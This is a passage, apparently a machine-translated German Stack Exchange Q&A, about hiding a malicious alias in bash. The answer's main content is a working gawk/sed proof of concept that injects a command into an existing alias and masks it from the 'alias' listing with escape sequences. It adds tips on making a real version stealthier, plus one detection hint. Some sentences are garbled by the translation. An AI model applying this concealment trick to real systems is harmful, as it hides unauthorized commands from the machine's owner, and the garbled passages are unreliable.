Ist es möglich, einen böswilligen Alias ​​in Bash unter Linux zu verbergen?

9

Ist es möglich, die Existenz eines böswilligen Alias ​​in Bash auf einem Linux-System zu verbergen und vom Benutzer ohne dessen Wissen ausführen zu lassen?

Bis auf weiteres angehalten.
quelle

Antworten:

13

Sie können dies tun, indem Sie den vorhandenen Alias ​​an den böswilligen anhängen und ihn mit der Cursorbewegung ausblenden, wenn der aliasBefehl zum Anzeigen von Aliasdefinitionen verwendet wird. Es ist keine absolut narrensichere Methode, aber sie kann für eine Weile unentdeckt bleiben. Kochend aliasdurch hdwird Ihnen zeigen , ob es irgendwelche Escape - Sequenzen (Cursor - Bewegung) in Ihre Aliase sind. Hier ist ein Proof of Concept, wie ein böswilliger Befehl in einen Alias ​​eingefügt werden kann:

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • Der sedBefehl ändert eine Datei mit dem Namen "Aliase" an Ort und Stelle - ein echtes Skript dieses Typs würde in den Rachen gehen und eine echte Skriptdatei so ändern, dass der böswillige Alias ​​bei der nächsten Ausführung aktiviert wird.
  • Der böswillige Teil dieses Beispiels läutet nur die Klingel, damit Sie wissen, dass es funktioniert.
  • Der Befehl, der ursprünglich mit einem Alias ​​versehen war, wird mit dem Inhalt von hideals Argument ausgeführt, sodass es denkbar ist, dass Sie einen Fehler erhalten, der dem in dieser Frage angegebenen ähnelt . Es könnte möglich sein, die ursprünglichen und böswilligen Teile umzukehren, um dies zu beeinflussen, obwohl dies die Argumente beeinträchtigen würde, die dem Alias ​​zur Verfügung gestellt werden. Im obigen Skript wird versucht, das Ende von Argumenten mit zu markieren --.
  • Statt der ursprünglichen und bösartigen Teile mit Chaining &&, könnten Sie Rohr einem zum nächsten und machen das schädliche Skript (dargestellt oben durch den einfachen echoBefehl) Funktion als ein Pass-Through entweder die Daten zu ändern , wie es über oder geht zu verstecken ihre Existenz weiter, indem sie andere Umleitungen nicht störenstdinstdout
  • Eine andere Möglichkeit wäre, stattdessen den ursprünglichen Alias ​​in das schädliche Skript aufzunehmen, wodurch die Zeichenfolge für die Cursorbewegung aus der Argumentliste entfernt und der Rest an das Original weitergegeben werden könnte.
  • Ich habe willkürlich die Datensätze 3 und 4 ausgewählt. Intelligenterer Code könnte auf bestimmte Aliase abzielen, diese müssen jedoch benachbart sein (oder die Cursorbewegung könnte komplexer werden).
  • Die hideZeichenfolge kann so geändert werden, dass sie unterschiedliche Cursorbewegungen und den Text des ursprünglichen Alias ​​enthält, sodass der aliasBefehl den unveränderten Alias ​​anzeigt, anstatt ihn zusammen mit dem böswilligen Teil auszublenden.
  • Um es wie geschrieben auszuprobieren, müssen Sie mindestens vier aktive Aliase haben, dieses Skript ausführen und dann die resultierende Datei mit erstellen . aliases. Anschließend können Sie versuchen, den betroffenen Alias ​​zu verwenden und zu sehen, wie er dabei aussieht alias|hd.
  • Dies könnte zweifellos auf hundert verschiedene Arten umgeschrieben werden - alles besser.
  • Wie realistisch ist diese Art von Bedrohung? Ich habe keine Ahnung. Aber wenn ich es kann ...
Bis auf weiteres angehalten.
quelle